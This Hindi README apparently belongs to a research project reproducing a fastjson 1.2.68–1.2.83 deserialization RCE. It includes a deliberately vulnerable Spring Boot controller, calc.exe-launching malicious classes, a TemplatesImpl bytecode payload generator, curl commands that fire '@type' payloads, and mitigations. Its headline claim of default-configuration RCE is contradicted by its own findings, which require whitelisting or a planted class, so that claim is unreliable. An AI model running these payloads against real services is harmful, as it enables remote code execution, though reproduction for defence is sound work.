
CVE-2026-16723 के लिए प्रजनन परियोजना, जो fastjson 1.2.68-1.2.83 में एक गंभीर RCE है। AutoType बाईपास, JNDI इंजेक्शन, और कमजोर Spring Boot एंडपॉइंट्स के साथ TemplatesImpl इन-मेमोरी पेलोड का प्रदर्शन करता है।
यह परियोजना CVE-2026-16723 का प्रजनन करती है — fastjson 1.2.68 से 1.2.83 में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता। यह भेद्यता डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत RCE की अनुमति देती है, बिना AutoType सक्षम करने या पूर्व-मौजूद क्लासपाथ गैजेट्स की आवश्यकता के।
| गुण | मान |
|---|
| CVE ID | CVE-2026-16723 |
| घटक | fastjson |
| प्रभावित संस्करण | 1.2.68 – 1.2.83 |
| स्थिर संस्करण | 1.2.84+, 2.0.0+ |
| भेद्यता प्रकार | डिसीरियलाइज़ेशन / RCE |
| गंभीरता | CVSS 3.1: 9.0 (क्रिटिकल) |
| हमला वेक्टर | नेटवर्क |
| जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
fastjson-cve-2026-16723/
├── pom.xml # मुख्य परियोजना (कमजोर fastjson के साथ Spring Boot ऐप)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot प्रवेश बिंदु
│ └── controller/
│ └── VulnerableController.java # कमजोर REST एंडपॉइंट्स
├── malicious/ # अलग मॉड्यूल: आपूर्ति श्रृंखला सिमुलेशन के लिए दुर्भावनापूर्ण JAR
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # स्टैटिक इनिशियलाइज़र के साथ दुर्भावनापूर्ण क्लास
│ ├── EvilTranslet.java # TemplatesImpl इन-मेमोरी मोड के लिए दुर्भावनापूर्ण ट्रांसलेट
│ └── GenTemplatesPayload.java # TemplatesImpl JSON पेलोड उत्पन्न करता है
├── templates-payload.json # उत्पन्न TemplatesImpl पेलोड (प्रत्यक्ष वैरिएंट)
├── templates-payload-preload.json # उत्पन्न TemplatesImpl पेलोड (क्लास प्रीलोड वैरिएंट)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 में AutoType सुरक्षा तंत्र में एक बायपास मौजूद है। यहां तक कि डिफ़ॉल्ट कॉन्फ़िगरेशन (autoTypeSupport=false) के साथ भी, हमलावर निम्नलिखित एक्सप्लॉइट श्रृंखलाओं का उपयोग करके क्राफ्टेड JSON पेलोड के माध्यम से मनमानी क्लासेस इंस्टैंशिएट कर सकते हैं:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI इंजेक्शन)java.lang.Runtime (प्रत्यक्ष कमांड निष्पादन)@type: exploit.MaliciousClass)VulnerableController.java — दो एंडपॉइंट्स समस्या प्रदर्शित करते हैं:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// कमजोर: डिफ़ॉल्ट कॉन्फ़िग के साथ JSON.parseObject
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true) की आवश्यकता नहीं है!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Object में डिसीरियलाइज़ेशन बलपूर्वक करें — वास्तविक क्लास इंस्टैंशिएशन ट्रिगर करता है
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# मुख्य एप्लिकेशन बनाएं
mvn clean package -DskipTests
# दुर्भावनापूर्ण JAR बनाएं (अलग मॉड्यूल)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot फैट JARmalicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass के साथ दुर्भावनापूर्ण JARjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
सर्वर http://localhost:8080 पर शुरू होता है
रनटाइम आवश्यकता: यह परियोजना Java 8 को लक्षित करती है और TemplatesImpl इन-मेमोरी मोड JDK 8 पर सत्यापित है। JDK 9+ पर मॉड्यूल सिस्टम
java.xmlआंतरिक तत्वों तक रिफ्लेक्टिव एक्सेस को अवरुद्ध करता है, इसलिए श्रृंखलाError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplके साथ विफल हो जाती है जब तक कि आप--add-opensफ्लैग नहीं जोड़ते:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
मुख्य pom.xml दुर्भावनापूर्ण JAR को निर्भरता के रूप में घोषित करता है, इसलिए यह फैट JAR में बंडल होता है:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
रनटाइम पर सत्यापित करें:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
अपेक्षित: CVE-2026-16723 Reproduction Endpoint Ready...
malicious मॉड्यूल exploit.MaliciousClass प्रदान करता है जिसमें एक स्टैटिक इनिशियलाइज़र है जो क्लास लोड होने पर calc.exe निष्पादित करता है।
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
परिणाम:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
और सर्वर पर calc.exe लॉन्च होता है।
नोट: यह एक आपूर्ति श्रृंखला परिदृश्य प्रदर्शित करता है जहां क्लासपाथ पर एक दुर्भावनापूर्ण निर्भरता मौजूद है। भेद्यता क्लासपाथ पर किसी भी क्लास के इंस्टैंशिएशन की अनुमति देती है, न केवल JDK क्लासेस की।
आपूर्ति श्रृंखला मोड (जिसे क्लासपाथ पर दुर्भावनापूर्ण क्लास की आवश्यकता होती है) और JNDI मोड (जिसे LDAP/RMI सर्वर की आवश्यकता होती है) के विपरीत, यह मोड दुर्भावनापूर्ण बाइटकोड को सीधे पेलोड में एम्बेड करता है और इसे com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के माध्यम से मेमोरी से लोड करता है — कुछ भी अतिरिक्त तैनात करने की आवश्यकता नहीं है।
चरण 1 — पेलोड उत्पन्न करें:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
यह exploit.EvilTranslet (एक AbstractTranslet उपवर्ग जिसका स्टैटिक इनिशियलाइज़र calc.exe चलाता है) संकलित करता है, इसके .class बाइट्स को base64-एन्कोड करता है, और लिखता है:
templates-payload.json — प्रत्यक्ष वैरिएंट ("@type": "TemplatesImpl")templates-payload-preload.json — java.lang.Class प्रीलोड वैरिएंटचरण 2 — पेलोड फायर करें:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
परिणाम:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
और सर्वर पर calc.exe लॉन्च होता है।
⚠️ अनुभवजन्य निष्कर्ष (fastjson 1.2.83 के विरुद्ध सत्यापित): TemplatesImpl श्रृंखला शुद्ध डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत ट्रिगर करने योग्य नहीं है:
- प्रत्यक्ष
@typeपेलोड AutoType denyList द्वारा अस्वीकार कर दिया जाता है (autoType is not support)।java.lang.Classप्रीलोड श्रृंखला दो मामलों में विफल होती है:java.lang.Classस्वयं denyList पर है (autoType is not support. java.lang.Class), और यहां तक किTemplatesImplको आंतरिक क्लास मैपिंग में प्रीलोड करना भी denyList को बायपास नहीं करता — 1.2.47-युग मैपिंग बायपास 1.2.83 पर ठीक कर दिया गया है।- अकेले
autoTypeSupport(true)भी पर्याप्त नहीं है: denyList autoType फ्लैग पर प्राथमिकता लेता है।- श्रृंखला केवल तब फायर होती है जब क्लास को
ParserConfig.addAccept(...)के माध्यम से व्हाइटलिस्ट किया जाता है (acceptList की denyList पर प्राथमिकता होती है) औरFeature.SupportNonPublicFieldसक्षम होता है (TemplatesImpl के_bytecodes/_name/_tfactoryप्राइवेट फील्ड हैं)।/api/deserialize-autotypeएंडपॉइंट ठीक इसी संयोजन को लागू करता है।- रनटाइम: श्रृंखला JDK 8 पर सत्यापित है। JDK 9+ पर मॉड्यूल सिस्टम
java.xmlआंतरिक तत्वों तक रिफ्लेक्टिव एक्सेस को अवरुद्ध करता है, इसलिए इंस्टेंस निर्माणError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplके साथ विफल हो जाता है जब तक कि Running the Application में JVM फ्लैग का उपयोग न किया जाए।
| एंडपॉइंट | व्यवहार |
|---|---|
POST /api/parse | JSONObject में पार्स करता है — सभी पेलोड के लिए पूर्ण डिसीरियलाइज़ेशन ट्रिगर नहीं कर सकता |
POST /api/deserialize | Object में पार्स करता है — पूर्ण डिसीरियलाइज़ेशन और क्लास इंस्टैंशिएशन बलपूर्वक करता है (डिफ़ॉल्ट कॉन्फ़िग) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — प्राइवेट फील्ड लिखता है, लेकिन denyList अभी भी TemplatesImpl को अवरुद्ध करता है |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — TemplatesImpl इन-मेमोरी श्रृंखला फायर करता है |
दुर्भावनापूर्ण क्लास एक्सप्लॉइट के लिए, स्टैटिक इनिशियलाइज़र ट्रिगर करने के लिए /api/deserialize आवश्यक है।
fastjson को पैच किए गए संस्करण में अपग्रेड करें:
<!-- विकल्प 1: fastjson 1.x (1.x उपयोगकर्ताओं के लिए अनुशंसित) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- विकल्प 2: fastjson 2.x (नई परियोजनाओं के लिए अनुशंसित) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// AutoType को वैश्विक रूप से अक्षम करें (आंशिक शमन — एक्सप्लॉइट श्रृंखलाएं अभी भी बायपास कर सकती हैं)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// या safeMode का उपयोग करें (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
यह परियोजना केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए है।
- उन सिस्टमों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए स्पष्ट लिखित अनुमति नहीं है।
- लेखक इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए जिम्मेदार नहीं है।
- भेद्यताओं की खोज करते समय हमेशा जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें।
- यह प्रजनन प्रदर्शन के लिए एक हानिरहित पेलोड (
calc.exe) का उपयोग करता है; वास्तविक एक्सप्लॉइट गंभीर नुकसान पहुंचा सकते हैं।
यह परियोजना सुरक्षा अनुसंधान के लिए यथा-स्थिति प्रदान की गई है। कोई वारंटी व्यक्त या निहित नहीं है।